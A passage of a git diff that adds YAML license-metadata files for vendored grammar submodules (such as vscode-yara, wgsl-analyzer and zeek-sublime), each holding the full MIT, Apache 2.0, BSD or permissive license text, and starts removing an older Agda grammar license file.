+    Copyright (c) 2016 Johann Muszynski
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-yara.dep.yml b/vendor/licenses/git_submodule/vscode-yara.dep.yml
new file mode 100644
index 0000000000..91ebec8bb4
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-yara.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-yara
+version: abd7b6497a3361240cc0e5c7f5d3f2cfb65d0e7e
+type: git_submodule
+homepage: https://github.com/infosec-intern/vscode-yara.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2016 infosec-intern
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-zil-language.dep.yml b/vendor/licenses/git_submodule/vscode-zil-language.dep.yml
new file mode 100644
index 0000000000..43a0182247
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-zil-language.dep.yml
@@ -0,0 +1,22 @@
+---
+type: git_submodule
+name: vscode-zil-language
+version: f713659fe38fffd4acea7caec151acbd0e3c7b26
+license: other
+licenses:
+- text: "MIT License\r\n\r\nCopyright (c) 2017 - present Jesse McGrew\r\n\r\nAll rights
+    reserved.\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining
+    a copy\r\nof this software and associated documentation files (the \"Software\"),
+    to deal\r\nin the Software without restriction, including without limitation the
+    rights\r\nto use, copy, modify, merge, publish, distribute, sublicense, and/or
+    sell\r\ncopies of the Software, and to permit persons to whom the Software is\r\nfurnished
+    to do so, subject to the following conditions:\r\n\r\nThe above copyright notice
+    and this permission notice shall be included in all\r\ncopies or substantial portions
+    of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF
+    ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
+    EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
+    OR OTHER\r\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+    FROM,\r\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+    IN THE\r\nSOFTWARE."
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode_cobol.dep.yml b/vendor/licenses/git_submodule/vscode_cobol.dep.yml
new file mode 100644
index 0000000000..298a2562ba
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode_cobol.dep.yml
@@ -0,0 +1,34 @@
+---
+name: vscode_cobol
+version: 8f462073fbf75ab242ae1a0e22837f6f0c3bf52c
+type: git_submodule
+homepage: https://github.com/spgennard/vscode_cobol.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2015-2020 Stephen Gennard
+    Copyright (c) 2021-2023 Stephen Paul Gennard
+
+    All rights reserved.
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notices and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode_mikrotik_routeros_script.dep.yml b/vendor/licenses/git_submodule/vscode_mikrotik_routeros_script.dep.yml
new file mode 100644
index 0000000000..697ec0133c
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode_mikrotik_routeros_script.dep.yml
@@ -0,0 +1,33 @@
+---
+name: vscode_mikrotik_routeros_script
+version: aaf19c0581ffe238850eb42aefe0ce67bb6ed9d8
+type: git_submodule
+homepage: https://github.com/devMikeUA/vscode_mikrotik_routeros_script.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2018 Mikhail Korzhov
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: MIT © [Korzhov Mikhail](https://github.com/devMikeUA)
+notices: []
diff --git a/vendor/licenses/git_submodule/vue-syntax-highlight.dep.yml b/vendor/licenses/git_submodule/vue-syntax-highlight.dep.yml
new file mode 100644
index 0000000000..15583646e8
--- /dev/null
+++ b/vendor/licenses/git_submodule/vue-syntax-highlight.dep.yml
@@ -0,0 +1,33 @@
+---
+name: vue-syntax-highlight
+version: 2a3e89e415f49f5fbe8bf8bf42e45f8f78ccf642
+type: git_submodule
+homepage: https://github.com/vuejs/vue-syntax-highlight
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2013-2016 Evan You
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: README.md
+  text: "[MIT](http://opensource.org/licenses/MIT)"
+notices: []
diff --git a/vendor/licenses/git_submodule/wgsl-analyzer.dep.yml b/vendor/licenses/git_submodule/wgsl-analyzer.dep.yml
new file mode 100644
index 0000000000..d59b8c611f
--- /dev/null
+++ b/vendor/licenses/git_submodule/wgsl-analyzer.dep.yml
@@ -0,0 +1,178 @@
+---
+name: wgsl-analyzer
+version: 8851962fc191aa5ea85a25b0ebd10cb9f70627b3
+type: git_submodule
+homepage: https://github.com/wgsl-analyzer/wgsl-analyzer.git
+license: other
+licenses:
+- sources: LICENSE.md
+  text: |
+    wgsl-analyzer is dual-licensed under either
+
+    * MIT License ([./LICENSE-MIT](./LICENSE-MIT) or http://opensource.org/licenses/MIT)
+    * Apache License, Version 2.0 ([./LICENSE-APACHE](./LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0)
+
+    at your option.
+- sources: LICENSE-APACHE
+  text: "                              Apache License\n                        Version
+    2.0, January 2004\n                     http://www.apache.org/licenses/\n\nTERMS
+    AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n1. Definitions.\n\n
+    \  \"License\" shall mean the terms and conditions for use, reproduction,\n   and
+    distribution as defined by Sections 1 through 9 of this document.\n\n   \"Licensor\"
+    shall mean the copyright owner or entity authorized by\n   the copyright owner
+    that is granting the License.\n\n   \"Legal Entity\" shall mean the union of the
+    acting entity and all\n   other entities that control, are controlled by, or are
+    under common\n   control with that entity. For the purposes of this definition,\n
+    \  \"control\" means (i) the power, direct or indirect, to cause the\n   direction
+    or management of such entity, whether by contract or\n   otherwise, or (ii) ownership
+    of fifty percent (50%) or more of the\n   outstanding shares, or (iii) beneficial
+    ownership of such entity.\n\n   \"You\" (or \"Your\") shall mean an individual
+    or Legal Entity\n   exercising permissions granted by this License.\n\n   \"Source\"
+    form shall mean the preferred form for making modifications,\n   including but
+    not limited to software source code, documentation\n   source, and configuration
+    files.\n\n   \"Object\" form shall mean any form resulting from mechanical\n   transformation
+    or translation of a Source form, including but\n   not limited to compiled object
+    code, generated documentation,\n   and conversions to other media types.\n\n   \"Work\"
+    shall mean the work of authorship, whether in Source or\n   Object form, made
+    available under the License, as indicated by a\n   copyright notice that is included
+    in or attached to the work\n   (an example is provided in the Appendix below).\n\n
+    \  \"Derivative Works\" shall mean any work, whether in Source or Object\n   form,
+    that is based on (or derived from) the Work and for which the\n   editorial revisions,
+    annotations, elaborations, or other modifications\n   represent, as a whole, an
+    original work of authorship. For the purposes\n   of this License, Derivative
+    Works shall not include works that remain\n   separable from, or merely link (or
+    bind by name) to the interfaces of,\n   the Work and Derivative Works thereof.\n\n
+    \  \"Contribution\" shall mean any work of authorship, including\n   the original
+    version of the Work and any modifications or additions\n   to that Work or Derivative
+    Works thereof, that is intentionally\n   submitted to Licensor for inclusion in
+    the Work by the copyright owner\n   or by an individual or Legal Entity authorized
+    to submit on behalf of\n   the copyright owner. For the purposes of this definition,
+    \"submitted\"\n   means any form of electronic, verbal, or written communication
+    sent\n   to the Licensor or its representatives, including but not limited to\n
+    \  communication on electronic mailing lists, source code control systems,\n   and
+    issue tracking systems that are managed by, or on behalf of, the\n   Licensor
+    for the purpose of discussing and improving the Work, but\n   excluding communication
+    that is conspicuously marked or otherwise\n   designated in writing by the copyright
+    owner as \"Not a Contribution.\"\n\n   \"Contributor\" shall mean Licensor and
+    any individual or Legal Entity\n   on behalf of whom a Contribution has been received
+    by Licensor and\n   subsequently incorporated within the Work.\n\n2. Grant of
+    Copyright License. Subject to the terms and conditions of\n   this License, each
+    Contributor hereby grants to You a perpetual,\n   worldwide, non-exclusive, no-charge,
+    royalty-free, irrevocable\n   copyright license to reproduce, prepare Derivative
+    Works of,\n   publicly display, publicly perform, sublicense, and distribute the\n
+    \  Work and such Derivative Works in Source or Object form.\n\n3. Grant of Patent
+    License. Subject to the terms and conditions of\n   this License, each Contributor
+    hereby grants to You a perpetual,\n   worldwide, non-exclusive, no-charge, royalty-free,
+    irrevocable\n   (except as stated in this section) patent license to make, have
+    made,\n   use, offer to sell, sell, import, and otherwise transfer the Work,\n
+    \  where such license applies only to those patent claims licensable\n   by such
+    Contributor that are necessarily infringed by their\n   Contribution(s) alone
+    or by combination of their Contribution(s)\n   with the Work to which such Contribution(s)
+    was submitted. If You\n   institute patent litigation against any entity (including
+    a\n   cross-claim or counterclaim in a lawsuit) alleging that the Work\n   or
+    a Contribution incorporated within the Work constitutes direct\n   or contributory
+    patent infringement, then any patent licenses\n   granted to You under this License
+    for that Work shall terminate\n   as of the date such litigation is filed.\n\n4.
+    Redistribution. You may reproduce and distribute copies of the\n   Work or Derivative
+    Works thereof in any medium, with or without\n   modifications, and in Source
+    or Object form, provided that You\n   meet the following conditions:\n\n   (a)
+    You must give any other recipients of the Work or\n       Derivative Works a copy
+    of this License; and\n\n   (b) You must cause any modified files to carry prominent
+    notices\n       stating that You changed the files; and\n\n   (c) You must retain,
+    in the Source form of any Derivative Works\n       that You distribute, all copyright,
+    patent, trademark, and\n       attribution notices from the Source form of the
+    Work,\n       excluding those notices that do not pertain to any part of\n       the
+    Derivative Works; and\n\n   (d) If the Work includes a \"NOTICE\" text file as
+    part of its\n       distribution, then any Derivative Works that You distribute
+    must\n       include a readable copy of the attribution notices contained\n       within
+    such NOTICE file, excluding those notices that do not\n       pertain to any part
+    of the Derivative Works, in at least one\n       of the following places: within
+    a NOTICE text file distributed\n       as part of the Derivative Works; within
+    the Source form or\n       documentation, if provided along with the Derivative
+    Works; or,\n       within a display generated by the Derivative Works, if and\n
+    \      wherever such third-party notices normally appear. The contents\n       of
+    the NOTICE file are for informational purposes only and\n       do not modify
+    the License. You may add Your own attribution\n       notices within Derivative
+    Works that You distribute, alongside\n       or as an addendum to the NOTICE text
+    from the Work, provided\n       that such additional attribution notices cannot
+    be construed\n       as modifying the License.\n\n   You may add Your own copyright
+    statement to Your modifications and\n   may provide additional or different license
+    terms and conditions\n   for use, reproduction, or distribution of Your modifications,
+    or\n   for any such Derivative Works as a whole, provided Your use,\n   reproduction,
+    and distribution of the Work otherwise complies with\n   the conditions stated
+    in this License.\n\n5. Submission of Contributions. Unless You explicitly state
+    otherwise,\n   any Contribution intentionally submitted for inclusion in the Work\n
+    \  by You to the Licensor shall be under the terms and conditions of\n   this
+    License, without any additional terms or conditions.\n   Notwithstanding the above,
+    nothing herein shall supersede or modify\n   the terms of any separate license
+    agreement you may have executed\n   with Licensor regarding such Contributions.\n\n6.
+    Trademarks. This License does not grant permission to use the trade\n   names,
+    trademarks, service marks, or product names of the Licensor,\n   except as required
+    for reasonable and customary use in describing the\n   origin of the Work and
+    reproducing the content of the NOTICE file.\n\n7. Disclaimer of Warranty. Unless
+    required by applicable law or\n   agreed to in writing, Licensor provides the
+    Work (and each\n   Contributor provides its Contributions) on an \"AS IS\" BASIS,\n
+    \  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n   implied,
+    including, without limitation, any warranties or conditions\n   of TITLE, NON-INFRINGEMENT,
+    MERCHANTABILITY, or FITNESS FOR A\n   PARTICULAR PURPOSE. You are solely responsible
+    for determining the\n   appropriateness of using or redistributing the Work and
+    assume any\n   risks associated with Your exercise of permissions under this License.\n\n8.
+    Limitation of Liability. In no event and under no legal theory,\n   whether in
+    tort (including negligence), contract, or otherwise,\n   unless required by applicable
+    law (such as deliberate and grossly\n   negligent acts) or agreed to in writing,
+    shall any Contributor be\n   liable to You for damages, including any direct,
+    indirect, special,\n   incidental, or consequential damages of any character arising
+    as a\n   result of this License or out of the use or inability to use the\n   Work
+    (including but not limited to damages for loss of goodwill,\n   work stoppage,
+    computer failure or malfunction, or any and all\n   other commercial damages or
+    losses), even if such Contributor\n   has been advised of the possibility of such
+    damages.\n\n9. Accepting Warranty or Additional Liability. While redistributing\n
+    \  the Work or Derivative Works thereof, You may choose to offer,\n   and charge
+    a fee for, acceptance of support, warranty, indemnity,\n   or other liability
+    obligations and/or rights consistent with this\n   License. However, in accepting
+    such obligations, You may act only\n   on Your own behalf and on Your sole responsibility,
+    not on behalf\n   of any other Contributor, and only if You agree to indemnify,\n
+    \  defend, and hold each Contributor harmless for any liability\n   incurred by,
+    or claims asserted against, such Contributor by reason\n   of your accepting any
+    such warranty or additional liability.\n\nEND OF TERMS AND CONDITIONS\n\nAPPENDIX:
+    How to apply the Apache License to your work.\n\n   To apply the Apache License
+    to your work, attach the following\n   boilerplate notice, with the fields enclosed
+    by brackets \"[]\"\n   replaced with your own identifying information. (Don't
+    include\n   the brackets!)  The text should be enclosed in the appropriate\n   comment
+    syntax for the file format. We also recommend that a\n   file or class name and
+    description of purpose be included on the\n   same \"printed page\" as the copyright
+    notice for easier\n   identification within third-party archives.\n\nCopyright
+    [yyyy] [name of copyright owner]\n\nLicensed under the Apache License, Version
+    2.0 (the \"License\");\nyou may not use this file except in compliance with the
+    License.\nYou may obtain a copy of the License at\n\n\thttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless
+    required by applicable law or agreed to in writing, software\ndistributed under
+    the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS
+    OF ANY KIND, either express or implied.\nSee the License for the specific language
+    governing permissions and\nlimitations under the License.\n"
+- sources: LICENSE-MIT
+  text: |2-
+
+    Permission is hereby granted, free of charge, to any
+    person obtaining a copy of this software and associated
+    documentation files (the "Software"), to deal in the
+    Software without restriction, including without
+    limitation the rights to use, copy, modify, merge,
+    publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software
+    is furnished to do so, subject to the following
+    conditions:
+
+    The above copyright notice and this permission notice
+    shall be included in all copies or substantial portions
+    of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
+    ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
+    TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+    PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
+    SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+    CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR
+    IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+    DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/witcherscript-grammar.dep.yml b/vendor/licenses/git_submodule/witcherscript-grammar.dep.yml
new file mode 100644
index 0000000000..098d2bc8d6
--- /dev/null
+++ b/vendor/licenses/git_submodule/witcherscript-grammar.dep.yml
@@ -0,0 +1,32 @@
+---
+name: witcherscript-grammar
+version: 20179adb21f5fbcb0681ad27672b6de4df325f37
+type: git_submodule
+homepage: https://github.com/ADawesomeguy/witcherscript-grammar.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2022 Nicollas Ricas
+    Copyright (c) 2022 Abheek Dhawan
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/wollok-sublime.dep.yml b/vendor/licenses/git_submodule/wollok-sublime.dep.yml
new file mode 100644
index 0000000000..fad2db7c1f
--- /dev/null
+++ b/vendor/licenses/git_submodule/wollok-sublime.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: wollok-sublime
+version: a2d80902dee82a3372952db420eef3983a88a7e1
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    Copyright (c) 2019 Uqbar Project
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/xc.tmbundle.dep.yml b/vendor/licenses/git_submodule/xc.tmbundle.dep.yml
new file mode 100644
index 0000000000..e089705a01
--- /dev/null
+++ b/vendor/licenses/git_submodule/xc.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: xc.tmbundle
+version: 309d1f662ca32513d3eed19f44ce4ef1d6f5f611
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/xml.tmbundle.dep.yml b/vendor/licenses/git_submodule/xml.tmbundle.dep.yml
new file mode 100644
index 0000000000..1fdf1c52cd
--- /dev/null
+++ b/vendor/licenses/git_submodule/xml.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: xml.tmbundle
+version: 715363040b087a0c6720800e6dac30f9708b3f23
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/zeek-sublime.dep.yml b/vendor/licenses/git_submodule/zeek-sublime.dep.yml
new file mode 100644
index 0000000000..34d5ffc22d
--- /dev/null
+++ b/vendor/licenses/git_submodule/zeek-sublime.dep.yml
@@ -0,0 +1,38 @@
+---
+name: zeek-sublime
+version: 01cfdcff93d367c024d014556f3ea6fb9c5effdc
+type: git_submodule
+homepage: https://github.com/zeek/zeek-sublime
+license: bsd-3-clause
+licenses:
+- sources: COPYING
+  text: |
+    Copyright (c) 2019 by Corelight, Inc
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    (1) Redistributions of source code must retain the above copyright
+        notice, this list of conditions and the following disclaimer.
+
+    (2) Redistributions in binary form must reproduce the above copyright
+        notice, this list of conditions and the following disclaimer in
+        the documentation and/or other materials provided with the
+        distribution.
+
+    (3) Neither the name of Corelight, Inc, nor the names of contributors
+        may be used to endorse or promote products derived from this software
+        without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+    ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+    LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+    CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+    SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+    INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+    CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+    ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+    POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/zephir-sublime.dep.yml b/vendor/licenses/git_submodule/zephir-sublime.dep.yml
new file mode 100644
index 0000000000..b14c48f183
--- /dev/null
+++ b/vendor/licenses/git_submodule/zephir-sublime.dep.yml
@@ -0,0 +1,36 @@
+---
+name: zephir-sublime
+version: 2d68b4ce08bf445e07df018c07818dc1187b5d3f
+type: git_submodule
+homepage: https://github.com/phalcon/zephir-sublime
+license: other
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2014-2021 Zephir Team
+    http://zephir-lang.com
+
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: README.md
+  text: |-
+    This project is open source software licensed under the MIT License. See the [LICENSE](https://github.com/zephir-lang/zephir-sublime/blob/master/LICENSE) file for more.
+    Copyright (c) 2014-2021, Zephir Team
+notices: []
diff --git a/vendor/licenses/grammar/Agda.tmbundle.txt b/vendor/licenses/grammar/Agda.tmbundle.txt
deleted file mode 100644
index fe54054532..0000000000
--- a/vendor/licenses/grammar/Agda.tmbundle.txt
+++ /dev/null
@@ -1,34 +0,0 @@
----
-type: grammar
-name: Agda.tmbundle
-license: bsd-3-clause
----
-Copyright (c) 2014 James Cook
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions
-are met:
-
-1. Redistributions of source code must retain the above copyright
-   notice, this list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright
-   notice, this list of conditions and the following disclaimer in the
-   documentation and/or other materials provided with the distribution.
-
-3. Neither the name of the author nor the names of his contributors
-   may be used to endorse or promote products derived from this software
-   without specific prior written permission.
-
